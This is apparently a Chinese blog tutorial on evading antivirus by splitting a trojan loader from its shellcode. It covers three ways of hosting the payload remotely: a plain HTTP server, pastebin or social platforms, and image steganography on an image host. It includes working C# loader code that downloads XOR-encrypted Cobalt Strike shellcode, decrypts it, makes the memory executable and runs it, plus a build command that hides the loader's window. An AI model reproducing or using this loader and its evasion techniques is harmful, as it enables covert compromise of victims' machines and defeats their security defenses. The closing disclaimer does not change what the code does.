Loader与shellcode分离,是目前比较常见的一种木马免杀方式,下面讲一下远程拉取加密shellcode到内存中进行解密执行的3种实现思路。

1、直接服务器托管payload

使用CS生成一个shellcode的bin文件

使用密钥“qaxznb”进行逐位循环异或加密,获得一个加密的shellcode bin文件(C语言):


将bin文件放到http服务器:


由于要远程下载shellcode,使用.NET程序集的WebClient.DownloadData会比较方便,所以马子的项目使用C#语言。

远程加载shellcode,并进行异或解密:

修改shellcdoe所在内存为可执行属性,并执行shellcode


ptr是指向未托管函数(在这里是shellcode)的指针,Run是一个没有参数和返回值的委托类型。使用Marshal.GetDelegateForFunctionPointer方法可以将ptr转换为Run类型的委托,并将其执行,从而调用未托管函数,实现shellcode的执行。这种调用具有一定的免杀效果。

运行项目,成功上线:

2、合法平台托管payload

攻击者为了逃避一些检测机制,会注册一些合法社交平台或代码托管平台的账号,发布嵌入了恶意代码的文章或图片,生成固定的链接,然后将木马设计为从链接中获取要执行的恶意指令。  

由于文章通常是可编辑的,所以攻击者可以以固定的链接向木马下发不同的指令或执行不同的shellcode。例如,可以用twitter,github,或者parsebin这类的平台,甚至是微博。

这里使用parsebin托管shellcode,将木马设计为从固定链接拉取shellcode并执行。

使用CS生成C#类型的shellcode,进行base64编码:

在pastebin创建一个新的粘贴板,查看权限设置为公开,将编码后的shellcode复制进去:


点击raw会跳转到一个仅包含刚刚写进去的内容的链接,保存好这个链接。


创建一个C#项目,设计代码,远程加载并解码执行shellcode,远程链接就是上面的那个:


编译后运行,上线:


由于pastebin对于每篇文章都有单独的仅保存内容的链接,所以直接使用网页链接就好。但是如果使用一些社交平台,例如微博,往往没有这样的页面,需要获取html内容后对数据进行处理,截取帖子正文的内容。


3、图片隐写shellcode+图床托管

这里使用一个开源项目:

https://github.com/Hangingsword/HouQing

该项目是用Go语言编写的免杀项目,可以将Shellcode隐藏进图片中,然后让目标主机进行远程加载调用。

项目中有两个主要文件:

code.go:用于生成含有Shellcode的图片。

Loader.go:用于远程加载图片里的 Shellcode。

首先需要修改项目中code.go和Loader.go的源码改一下两个KEY的值,需要同时修改两个源码文件中的数值,数值需要相同,分别用于加密和解密shellcode

使用CobaltStrike生成Java类型的shellcode


生成 payload.java,把里面的Shellcode取出来放入到code.go里如下的位置,双引号需要去掉。


找一张jpg图片进行shellcode的注入:go run code.go 11.jpg


将图片托管到不会压缩图片的图床上,图片一定不能被压缩,不然无法上线。

推荐图床:

https://imgloc.com/

然后将生成的图片URL链接贴到对应位置,编译即可。


在本地执行以下命令测试,目标主机成功上线。 


最后,执行以下命令,将加载器Loader.go编译成无窗口的可执行文件,在目标主机上执行Loader.exe 即可上线

gobuild -ldflags="-H windowsgui" loader.go

实现代码(以第一种方法为例)

using System.Net;
using System.Runtime.InteropServices;
using System.Threading;
using System.Text;
namespace xor { 
class Program{
public static void 还原shellcode(byte[] shellcode, int 长度, char[] 密钥, int 密钥长度){
for (int i = 0; i < 长度; i++){
unsafe{
shellcode[i] = (byte)(shellcode[i] ^ 密钥[i % 密钥长度]);
}}}}}
namespace Loader{ 
class Program{
public delegate void Run();
[DllImport("kernel32.dll")]
private static extern int VirtualProtect(IntPtr lpAddress,UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
public static void testrun(){
byte[] buf = new WebClient().DownloadData("http://xxx/payload1.bin");
int l = buf.Length;
char[] k = { 'q', 'a', 'x', 'z', 'n', 'b' }; 
xor.Program.还原shellcode(buf, l, k, 6); 
unsafe{
fixed(byte* ptr = buf){
VirtualProtect((IntPtr)ptr, (UIntPtr)buf.Length, 0X40, out _);
((Run)Marshal.GetDelegateForFunctionPointer((IntPtr)ptr, typeof(Run)))();  
}}
while (true) Thread.Sleep(100000000);   
}
private static void printf(string v1, byte v2){
throw new NotImplementedException();
}}}
public class Program{
public static void Main(){
Loader.Program.testrun();
}}

免责声明

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本平台和发布者不为此承担任何责任。